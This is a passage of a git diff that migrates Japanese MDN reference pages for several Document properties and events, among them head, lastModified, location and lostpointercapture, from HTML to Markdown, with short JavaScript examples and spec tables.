document.head は読取専用です。このプロパティに値を代入した場合は、暗黙に失敗するか、 Strict モードの場合は、 {{jsxref("TypeError")}} を投げます。

- -

仕様書

- - - - - - - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5 W3C')}}
{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML WHATWG')}}初回定義
- -

ブラウザーの対応

- -
{{Compat("api.Document.head")}}
- -

関連情報

- -
    -
  • {{domxref("document.body")}}
  • -
diff --git a/files/ja/web/api/document/head/index.md b/files/ja/web/api/document/head/index.md new file mode 100644 index 00000000000000..01db117830c5e8 --- /dev/null +++ b/files/ja/web/api/document/head/index.md @@ -0,0 +1,61 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - HTML DOM + - Reference + - head +translation_of: Web/API/Document/head +--- +{{APIRef("DOM")}} + +{{domxref("Document")}} インターフェイスの **`head`** は読み取り専用のプロパティで、現在の文書の {{HTMLElement("head")}} 要素を返します。 + +## 構文 + +``` +var objRef = document.head; +``` + +### 値 + +{{domxref("HTMLHeadElement")}} です。 + +## 例 + +```html + + + Example: using document.head + + + +``` + +## メモ + +`document.head` は読取専用です。このプロパティに値を代入した場合は、暗黙に失敗するか、 [Strict モード](/ja/docs/Web/JavaScript/Reference/Strict_mode)の場合は、 {{jsxref("TypeError")}} を投げます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}} | {{Spec2('HTML5.1')}} | | +| {{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}} | {{Spec2('HTML WHATWG')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.head")}} + +## 関連情報 + +- {{domxref("document.body")}} diff --git a/files/ja/web/api/document/hidden/index.html b/files/ja/web/api/document/hidden/index.html deleted file mode 100644 index 8eba135565826a..00000000000000 --- a/files/ja/web/api/document/hidden/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Document.hidden -slug: Web/API/Document/hidden -tags: - - DOM - - Document - - Page Visibility API - - Property - - Read-only - - Reference - - Web -translation_of: Web/API/Document/hidden ---- -

{{ ApiRef("DOM") }}

- -

Document.hidden は読み取り専用のプロパティで、ページが非表示になっているとみられるかどうかを示す論理値を返します。

- -

構文

- -
var boolean = document.hidden
- -

- -
document.addEventListener("visibilitychange", function() {
-  console.log( document.hidden );
-  // 振る舞いを修正...
-});
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}{{Spec2('Page Visibility API')}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.hidden")}}

diff --git a/files/ja/web/api/document/hidden/index.md b/files/ja/web/api/document/hidden/index.md new file mode 100644 index 00000000000000..fa0f3565352b59 --- /dev/null +++ b/files/ja/web/api/document/hidden/index.md @@ -0,0 +1,41 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +tags: + - DOM + - Document + - Page Visibility API + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/hidden +--- +{{ ApiRef("DOM") }} + +**`Document.hidden`** は読み取り専用のプロパティで、ページが非表示になっているとみられるかどうかを示す論理値を返します。 + +## 構文 + +``` +var boolean = document.hidden +``` + +## 例 + +```js +document.addEventListener("visibilitychange", function() { + console.log( document.hidden ); + // 振る舞いを修正... +}); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------------------- | -------- | +| {{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}} | {{Spec2('Page Visibility API')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.hidden")}} diff --git a/files/ja/web/api/document/images/index.html b/files/ja/web/api/document/images/index.html deleted file mode 100644 index 15835ddf89cebe..00000000000000 --- a/files/ja/web/api/document/images/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: document.images -slug: Web/API/Document/images -tags: - - DOM - - Document - - Gecko - - Gecko DOM Reference -translation_of: Web/API/Document/images ---- -
- {{ApiRef}}
-

概要

-

document.images は、現在の HTML 文書の {{domxref("Image")}} のコレクションを返します。

-

構文

-
var htmlCollection = document.images;
-

-

特定の src 属性値を持つ img 要素が文書中に存在する場合にのみ何らかの処理を行う例を以下に示します。

-
var ilist = document.images;
-
-for(var i = 0; i < ilist.length; i++) {
-    if(ilist[i].src == "banner.gif") {
-        // bunner.gif が存在した場合の処理
-    }
-}
-

プロパティ

-
-
- document.images.length
-
- 文書中の画像の数を返す
-
-

注記

-

document.images は DOM HTML の一部であり、HTML 文書に於いてのみ動作します。

-

仕様書

- diff --git a/files/ja/web/api/document/images/index.md b/files/ja/web/api/document/images/index.md new file mode 100644 index 00000000000000..9f960dadf42d23 --- /dev/null +++ b/files/ja/web/api/document/images/index.md @@ -0,0 +1,48 @@ +--- +title: document.images +slug: Web/API/Document/images +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/images +--- +{{ApiRef}} + +## 概要 + +`document.images` は、現在の HTML 文書の {{domxref("Image")}} のコレクションを返します。 + +## 構文 + +``` +var htmlCollection = document.images; +``` + +## 例 + +特定の src 属性値を持つ img 要素が文書中に存在する場合にのみ何らかの処理を行う例を以下に示します。 + +```js +var ilist = document.images; + +for(var i = 0; i < ilist.length; i++) { + if(ilist[i].src == "banner.gif") { + // bunner.gif が存在した場合の処理 + } +} +``` + +## プロパティ + +- `document.images.length` + - : 文書中の画像の数を返す + +## 注記 + +`document.images` は DOM HTML の一部であり、HTML 文書に於いてのみ動作します。 + +## 仕様書 + +- [DOM Level 2 HTML: HTMLDocument.images](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117) diff --git a/files/ja/web/api/document/implementation/index.html b/files/ja/web/api/document/implementation/index.html deleted file mode 100644 index 8e26a0ed8db376..00000000000000 --- a/files/ja/web/api/document/implementation/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Document.implementation -slug: Web/API/Document/implementation -tags: - - API - - DOM - - Document - - NeedsContent - - Property - - Reference -translation_of: Web/API/Document/implementation ---- -
{{ ApiRef("DOM") }}
- -

Document.implementation プロパティは、現在の文書に関連付けられた {{domxref("DOMImplementation")}} オブジェクトを返します。

- -

構文

- -
DOMImpObj = document.implementation;
-
- -

- -
var modName = "HTML";
-var modVer = "2.0";
-var conformTest = document.implementation.hasFeature( modName, modVer );
-
-alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
-
-// DOM Level 2 HTML module に対応している場合、"DOM HTML 2.0 supported?: true" とアラート表示されます。
-
- -

モジュール名 (※ Core 、HTML 、XML 等) の一覧は Conformance Section で入手可能です。

- -

メモ

- -

W3C's DOM Level 1 勧告では hasFeature メソッドのみが定義されているので、ブラウザーが DOM モジュールに対応しているかどうかを判断する方法の一つです。 (上記の例と What does your user agent claim to support? を参照してください)。利用できるのであれば、 DOMImplementation の他のメソッドが、単一文書の外のものを制御するサービスを提供します。例えば、 DOMImplementation インターフェイスは createDocumentType メソッドを含んでおり、実装によって管理された1つ以上の文書に DTD が作成されます。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-implementation', 'document.implementation')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.implementation")}}

- -

Gecko に特有のメモ

- -
    -
  • Gecko 19.0 {{geckoRelease("19.0")}} から、 {{domxref("DOMImplementation.hasFeature","hasFeature")}} メソッドは常に true を返します。
  • -
diff --git a/files/ja/web/api/document/implementation/index.md b/files/ja/web/api/document/implementation/index.md new file mode 100644 index 00000000000000..df3b0f732fe9cf --- /dev/null +++ b/files/ja/web/api/document/implementation/index.md @@ -0,0 +1,53 @@ +--- +title: Document.implementation +slug: Web/API/Document/implementation +tags: + - API + - DOM + - Document + - NeedsContent + - Property + - Reference +translation_of: Web/API/Document/implementation +--- +{{ ApiRef("DOM") }} + +**`Document.implementation`** プロパティは、現在の文書に関連付けられた {{domxref("DOMImplementation")}} オブジェクトを返します。 + +## 構文 + +``` +DOMImpObj = document.implementation; +``` + +## 例 + +```js +var modName = "HTML"; +var modVer = "2.0"; +var conformTest = document.implementation.hasFeature( modName, modVer ); + +alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest ); + +// DOM Level 2 HTML module に対応している場合、"DOM HTML 2.0 supported?: true" とアラート表示されます。 +``` + +モジュール名 (※ Core 、HTML 、XML 等) の一覧は [Conformance Section](http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2) で入手可能です。 + +## メモ + +W3C's DOM Level 1 勧告では `hasFeature` メソッドのみが定義されているので、ブラウザーが DOM モジュールに対応しているかどうかを判断する方法の一つです。 (上記の例と [What does your user agent claim to support?](http://www.w3.org/2003/02/06-dom-support.html) を参照してください)。利用できるのであれば、 `DOMImplementation` の他のメソッドが、単一文書の外のものを制御するサービスを提供します。例えば、 `DOMImplementation` インターフェイスは `createDocumentType` メソッドを含んでおり、実装によって管理された 1 つ以上の文書に DTD が作成されます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-implementation', 'document.implementation')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.implementation")}} + +### Gecko に特有のメモ + +- Gecko 19.0 {{geckoRelease("19.0")}} から、 {{domxref("DOMImplementation.hasFeature","hasFeature")}} メソッドは常に true を返します。 diff --git a/files/ja/web/api/document/lastmodified/index.html b/files/ja/web/api/document/lastmodified/index.html deleted file mode 100644 index 682e0341ffa867..00000000000000 --- a/files/ja/web/api/document/lastmodified/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Document.lastModified -slug: Web/API/Document/lastModified -tags: - - API - - Document - - HTML DOM - - NeedsSpecTable - - Property - - Reference -translation_of: Web/API/Document/lastModified ---- -
{{APIRef("DOM")}}
- -

lastModified は {{domxref("Document")}} インターフェイスのプロパティで、現在の文書が最後に更新された日付と時刻を含む文字列を返します。

- -

構文

- -
var string = document.lastModified;
-
- -

- -

単純な使用

- -

この例では lastModified の値をアラート表示します。

- -
alert(document.lastModified);
-// 表示内容: Tuesday, December 16, 2017 11:09:42
-
- -

lastModified を Date オブジェクトへ変換

- -

この例では、 lastModified を {{jsxref("Date")}} オブジェクトに変換します。object.

- -
let oLastModif = new Date(document.lastModified);
-
- -

lastModified をミリ秒に変換

- -

この例では、 lastModified を地方時の1970年1月1日 00:00:00からの経過ミリ秒数の数値に変換します。

- -
let nLastModif = Date.parse(document.lastModified);
-
- -

- -

lastModified は文字列なので、文書の更新日の比較には簡単には使用できないことに注意してください。こちらはいつページが変更されたかをアラートメッセージで表示する方法の例です (JavaScript cookies API も参照)。

- -
if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) {
-  document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
-  alert("ページが変更されました。");
-}
- -

…同じ例ですが、最初の訪問をスキップします。

- -
var
-  nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")),
-  nLastModif = Date.parse(document.lastModified);
-
-if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
-  document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
-
-  if (isFinite(nLastVisit)) {
-    alert("ページが変更されました。");
-  }
-}
- -
注: WebKit は時刻の文字列を UTC で返します。 Gecko と Internet Explorer はローカルタイムゾーンで時刻を返します。 (参照: Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time)
- -

もし外部のページが変更されたかどうかを知りたい場合は、 XMLHttpRequest() API についてのこの段落をお読みください。

- -

仕様書

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-lastmodified', 'document.lastModified')}}{{Spec2('HTML WHATWG')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.lastModified")}}
diff --git a/files/ja/web/api/document/lastmodified/index.md b/files/ja/web/api/document/lastmodified/index.md new file mode 100644 index 00000000000000..f313eddd75d19c --- /dev/null +++ b/files/ja/web/api/document/lastmodified/index.md @@ -0,0 +1,89 @@ +--- +title: Document.lastModified +slug: Web/API/Document/lastModified +tags: + - API + - Document + - HTML DOM + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/lastModified +--- +{{APIRef("DOM")}} + +**`lastModified`** は {{domxref("Document")}} インターフェイスのプロパティで、現在の文書が最後に更新された日付と時刻を含む文字列を返します。 + +## 構文 + +``` +var string = document.lastModified; +``` + +## 例 + +### 単純な使用 + +この例では `lastModified` の値をアラート表示します。 + +```js +alert(document.lastModified); +// 表示内容: Tuesday, December 16, 2017 11:09:42 +``` + +### lastModified を Date オブジェクトへ変換 + +この例では、 `lastModified` を {{jsxref("Date")}} オブジェクトに変換します。object. + +```js +let oLastModif = new Date(document.lastModified); +``` + +### lastModified をミリ秒に変換 + +この例では、 `lastModified` を地方時の 1970 年 1 月 1 日 00:00:00 からの経過ミリ秒数の数値に変換します。 + +```js +let nLastModif = Date.parse(document.lastModified); +``` + +## 注 + +`lastModified` は文字列なので、文書の更新日の比較には*簡単には*使用できないことに注意してください。こちらはいつページが変更されたかをアラートメッセージで表示する方法の例です ([JavaScript cookies API](/ja/docs/DOM/document.cookie) も参照)。 + +```js +if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { + document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; + alert("ページが変更されました。"); +} +``` + +…同じ例ですが、最初の訪問をスキップします。 + +```js +var + nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), + nLastModif = Date.parse(document.lastModified); + +if (isNaN(nLastVisit) || nLastModif > nLastVisit) { + document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname; + + if (isFinite(nLastVisit)) { + alert("ページが変更されました。"); + } +} +``` + +> **Note:** WebKit は時刻の文字列を UTC で返します。 Gecko と Internet Explorer はローカルタイムゾーンで時刻を返します。 (参照: [Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time](https://bugs.webkit.org/show_bug.cgi?id=4363)) + +もし***外部のページ*が変更されたかどうか**を知りたい場合は、 [`XMLHttpRequest()` API についてのこの段落](/ja/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Get_last_modified_date)をお読みください。 + +## 仕様書 + +| Specification | Status | Comment | +| ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | +| {{SpecName('HTML WHATWG', '#dom-document-lastmodified', 'document.lastModified')}} | {{Spec2('HTML WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.lastModified")}} diff --git a/files/ja/web/api/document/linkcolor/index.html b/files/ja/web/api/document/linkcolor/index.html deleted file mode 100644 index a7aa7249419fe5..00000000000000 --- a/files/ja/web/api/document/linkcolor/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Document.linkColor -slug: Web/API/Document/linkColor -tags: - - API - - Deprecated - - Document - - HTML DOM - - Property - - Reference - - プロパティ -translation_of: Web/API/Document/linkColor ---- -
{{APIRef("DOM")}} {{Deprecated_header}}
- -

Document.linkColor プロパティは、文書内のリンクの色を取得または設定します。

- -

このプロパティは非推奨です。代替手段として、 CSS の {{cssxref("color")}} プロパティを HTML のアンカーリンク ({{HtmlElement("a")}}) または {{cssxref(":link")}} 疑似クラスで設定することができます。もう一つの代替手段に document.body.link がありますが、これは HTML 4.01 で非推奨になりました

- -

構文

- -
color = document.linkColor
-document.linkColor = color
-
- -

引数

- -
    -
  • color: 色を単語 (例えば red) または16進値 (例えば #ff0000) で表す文字列。
  • -
- -

- -
document.linkColor = 'blue';
-
- -

仕様書

- -

HTML5

- -

Document.linkColorDOM Level 2 HTML で非推奨になりました

- -

ブラウザーの対応

- -

{{Compat("api.Document.linkColor")}}

- -

Mozilla Firefox におけるこのプロパティの既定値は、青 (16進数で #0000ee) です。

- -

関連情報

- -
    -
  • {{domxref("document.vlinkColor")}}
  • -
  • {{domxref("document.alinkColor")}}
  • -
diff --git a/files/ja/web/api/document/linkcolor/index.md b/files/ja/web/api/document/linkcolor/index.md new file mode 100644 index 00000000000000..f3afbfddfb497e --- /dev/null +++ b/files/ja/web/api/document/linkcolor/index.md @@ -0,0 +1,52 @@ +--- +title: Document.linkColor +slug: Web/API/Document/linkColor +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/linkColor +--- +{{APIRef("DOM")}} {{Deprecated_header}} + +**`Document.linkColor`** プロパティは、文書内のリンクの色を取得または設定します。 + +このプロパティは非推奨です。代替手段として、 CSS の {{cssxref("color")}} プロパティを HTML のアンカーリンク ({{HtmlElement("a")}}) または {{cssxref(":link")}} 疑似クラスで設定することができます。もう一つの代替手段に `document.body.link` がありますが、これは [HTML 4.01 で非推奨になりました](http://www.w3.org/TR/html401/struct/global.html#adef-link)。 + +## 構文 + +``` +color = document.linkColor +document.linkColor = color +``` + +### 引数 + +- `color`: 色を単語 (例えば `red`) または 16 進値 (例えば `#ff0000`) で表す文字列。 + +## 例 + +```js +document.linkColor = 'blue'; +``` + +## 仕様書 + +HTML5 + +`Document.linkColor` は [DOM Level 2 HTML で非推奨になりました](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)。 + +## ブラウザーの互換性 + +{{Compat("api.Document.linkColor")}} + +Mozilla Firefox におけるこのプロパティの既定値は、青 (16 進数で `#0000ee`) です。 + +## 関連情報 + +- {{domxref("document.vlinkColor")}} +- {{domxref("document.alinkColor")}} diff --git a/files/ja/web/api/document/links/index.html b/files/ja/web/api/document/links/index.html deleted file mode 100644 index 6394b176a6abed..00000000000000 --- a/files/ja/web/api/document/links/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: document.links -slug: Web/API/Document/links -tags: - - DOM - - Document - - Gecko - - Gecko DOM Reference -translation_of: Web/API/Document/links ---- -
- {{ApiRef}}
-

概要

-

links プロパティは、文書中の、 href 属性の値を持つすべての {{htmlelement("area")}} 要素とアンカー要素のコレクションを返します。

-

構文

-
nodeList = document.links;
-
-

-
var links = document.links;
-
-for(var i = 0; i < links.length; i++) {
-  var linkHref = document.createTextNode(links[i].href);
-  var lineBreak = document.createElement("br");
-
-  document.body.appendChild(linkHref);
-  document.body.appendChild(lineBreak);
-}
-

仕様書

- diff --git a/files/ja/web/api/document/links/index.md b/files/ja/web/api/document/links/index.md new file mode 100644 index 00000000000000..7be3f736c7f7d8 --- /dev/null +++ b/files/ja/web/api/document/links/index.md @@ -0,0 +1,39 @@ +--- +title: document.links +slug: Web/API/Document/links +tags: + - DOM + - Document + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Document/links +--- +{{ApiRef}} + +## 概要 + +`links` プロパティは、文書中の、 `href` 属性の値を持つすべての {{htmlelement("area")}} 要素とアンカー要素のコレクションを返します。 + +## 構文 + +``` +nodeList = document.links; +``` + +## 例 + +```js +var links = document.links; + +for(var i = 0; i < links.length; i++) { + var linkHref = document.createTextNode(links[i].href); + var lineBreak = document.createElement("br"); + + document.body.appendChild(linkHref); + document.body.appendChild(lineBreak); +} +``` + +## 仕様書 + +- [DOM Level 2 HTML: links](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7068919) diff --git a/files/ja/web/api/document/location/index.html b/files/ja/web/api/document/location/index.html deleted file mode 100644 index 457028858770d0..00000000000000 --- a/files/ja/web/api/document/location/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Document.location -slug: Web/API/Document/location -tags: - - API - - Document - - HTML DOM - - Property - - Read-only - - Reference - - プロパティ -translation_of: Web/API/Document/location ---- -

{{APIRef("DOM")}}

- -

Document.location は読み取り専用のプロパティで、この文書の URL に関する情報を持った {{domxref("Location")}} オブジェクトを返します。これはその URL を変更したり他の URL を読み込んだりするためのメソッドも提供しています。

- -

Document.location読み取り専用Location オブジェクトですが、 {{domxref("DOMString")}} を代入することができます。つまり、 document.location が文字列であるかのように扱うことができます。 document.location = 'http://www.example.com'document.location.href = 'http://www.example.com' の別名です。

- -

URL を文字列として受け取るだけであれば、読み取り専用の {{domxref("document.URL")}} プロパティも利用することができます。

- -

現在の文書が閲覧コンテキスト内にない場合、返値は null となります。

- -

構文

- -

s

- -
locationObj = document.location
-document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
-
- -

- -
console.log(document.location);
-// Location オブジェクトをコンソールへ表示
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}{{SpecName("HTML5 W3C")}} から変更なし
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.location")}}

- -

関連情報

- -
    -
  • 返値のインターフェイスである {{domxref("Location")}}
  • -
  • 同様の情報で{{Glossary("browsing context", "閲覧コンテキスト")}}に結びつけられている {{domxref("Window.location")}}
  • -
diff --git a/files/ja/web/api/document/location/index.md b/files/ja/web/api/document/location/index.md new file mode 100644 index 00000000000000..75834e43ffec8b --- /dev/null +++ b/files/ja/web/api/document/location/index.md @@ -0,0 +1,54 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Property + - Read-only + - Reference + - プロパティ +translation_of: Web/API/Document/location +--- +{{APIRef("DOM")}} + +**`Document.location`** は読み取り専用のプロパティで、この文書の URL に関する情報を持った {{domxref("Location")}} オブジェクトを返します。これはその URL を変更したり他の URL を読み込んだりするためのメソッドも提供しています。 + +`Document.location` は*読み取り専用*の `Location` オブジェクトですが、 {{domxref("DOMString")}} を代入することができます。つまり、 document.location が文字列であるかのように扱うことができます。 `document.location = 'http://www.example.com'` は `document.location.href = 'http://www.example.com'` の別名です。 + +URL を文字列として受け取るだけであれば、読み取り専用の {{domxref("document.URL")}} プロパティも利用することができます。 + +現在の文書が閲覧コンテキスト内にない場合、返値は `null` となります。 + +## 構文 + +s + +``` +locationObj = document.location +document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org' +``` + +## 例 + +```js +console.log(document.location); +// Location オブジェクトをコンソールへ表示 +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------------------- | +| {{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}} | {{Spec2('HTML WHATWG')}} | {{SpecName("HTML5 W3C")}} から変更なし | +| {{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}} | {{Spec2('HTML5 W3C')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.location")}} + +## 関連情報 + +- 返値のインターフェイスである {{domxref("Location")}} +- 同様の情報で{{Glossary("browsing context", "閲覧コンテキスト")}}に結びつけられている {{domxref("Window.location")}} diff --git a/files/ja/web/api/document/lostpointercapture_event/index.html b/files/ja/web/api/document/lostpointercapture_event/index.html deleted file mode 100644 index 46e804e914cbdf..00000000000000 --- a/files/ja/web/api/document/lostpointercapture_event/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: 'Document: lostpointercapture イベント' -slug: Web/API/Document/lostpointercapture_event -tags: - - API - - Document - - Event - - PointerEvent - - Reference - - lostpointercapture - - イベント -translation_of: Web/API/Document/lostpointercapture_event ---- -
{{APIRef}}
- -

lostpointercapture イベントは、ポインターのキャプチャが解放されたときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}}
- -

- -

この例は lostpointercapture イベントを待ち受けし、 pointerdown でその要素のためにポインターをキャプチャします。後でユーザーがポインターを解放したとき、 lostpointercapture イベントが発生します。

- -
const para = document.querySelector('p');
-
-document.addEventListener('lostpointercapture', () => {
-  console.log('I\'ve been released!')
-});
-
-para.addEventListener('pointerdown', (event) => {
-  para.setPointerCapture(event.pointerId);
-});
-
- -

同じ例ですが、 onlostpointercapture イベントハンドラーを使用して行います。

- -
const para = document.querySelector('p');
-
-document.onlostpointercapture = () => {
-  console.log('I\'ve been released!')
-};
-
-para.addEventListener('pointerdown', (event) => {
-  para.setPointerCapture(event.pointerId);
-});
-
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-lostpointercapture-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.lostpointercapture_event")}}

- -

関連情報

- -
    -
  • 関連イベント -
      -
    • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
    • -
    • {{domxref("Document/pointerover_event", "pointerover")}}
    • -
    • {{domxref("Document/pointerenter_event", "pointerenter")}}
    • -
    • {{domxref("Document/pointerdown_event", "pointerdown")}}
    • -
    • {{domxref("Document/pointermove_event", "pointermove")}}
    • -
    • {{domxref("Document/pointerup_event", "pointerup")}}
    • -
    • {{domxref("Document/pointercancel_event", "pointercancel")}}
    • -
    • {{domxref("Document/pointerout_event", "pointerout")}}
    • -
    • {{domxref("Document/pointerleave_event", "pointerleave")}}
    • -
    -
  • -
  • {{domxref("GlobalEventHandlers.onlostpointercapture")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/lostpointercapture_event", "lostpointercapture")}} イベント
  • -
diff --git a/files/ja/web/api/document/lostpointercapture_event/index.md b/files/ja/web/api/document/lostpointercapture_event/index.md new file mode 100644 index 00000000000000..2a88b360642d8e --- /dev/null +++ b/files/ja/web/api/document/lostpointercapture_event/index.md @@ -0,0 +1,96 @@ +--- +title: 'Document: lostpointercapture イベント' +slug: Web/API/Document/lostpointercapture_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - lostpointercapture + - イベント +translation_of: Web/API/Document/lostpointercapture_event +--- +{{APIRef}} + +**`lostpointercapture`** イベントは、[ポインターのキャプチャ](/ja/docs/Web/API/Pointer_events#Pointer_capture)が解放されたときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}} +
+ +## 例 + +この例は `lostpointercapture` イベントを待ち受けし、 `pointerdown` でその要素のためにポインターをキャプチャします。後でユーザーがポインターを解放したとき、 `lostpointercapture` イベントが発生します。 + +```js +const para = document.querySelector('p'); + +document.addEventListener('lostpointercapture', () => { + console.log('I\'ve been released!') +}); + +para.addEventListener('pointerdown', (event) => { + para.setPointerCapture(event.pointerId); +}); +``` + +同じ例ですが、 `onlostpointercapture` イベントハンドラーを使用して行います。 + +```js +const para = document.querySelector('p'); + +document.onlostpointercapture = () => { + console.log('I\'ve been released!') +}; + +para.addEventListener('pointerdown', (event) => { + para.setPointerCapture(event.pointerId); +}); +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-lostpointercapture-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.lostpointercapture_event")}} + +## 関連情報 + +- 関連イベント + + - {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} + - {{domxref("Document/pointerover_event", "pointerover")}} + - {{domxref("Document/pointerenter_event", "pointerenter")}} + - {{domxref("Document/pointerdown_event", "pointerdown")}} + - {{domxref("Document/pointermove_event", "pointermove")}} + - {{domxref("Document/pointerup_event", "pointerup")}} + - {{domxref("Document/pointercancel_event", "pointercancel")}} + - {{domxref("Document/pointerout_event", "pointerout")}} + - {{domxref("Document/pointerleave_event", "pointerleave")}} + +- {{domxref("GlobalEventHandlers.onlostpointercapture")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/lostpointercapture_event", "lostpointercapture")}} イベント diff --git a/files/ja/web/api/document/open/index.html b/files/ja/web/api/document/open/index.html deleted file mode 100644 index a6d2629093ceda..00000000000000 --- a/files/ja/web/api/document/open/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Document.open() -slug: Web/API/Document/open -tags: - - API - - DOM - - Document - - Method - - Reference - - open - - メソッド -translation_of: Web/API/Document/open ---- -
{{APIRef("DOM")}}
- -

Document.open() メソッドは、{{domxref("Document.write", "書き込み", "", "1")}}のために文書を開きます。

- -

これはいくらかの副作用を招きます。例を挙げます。

- -
    -
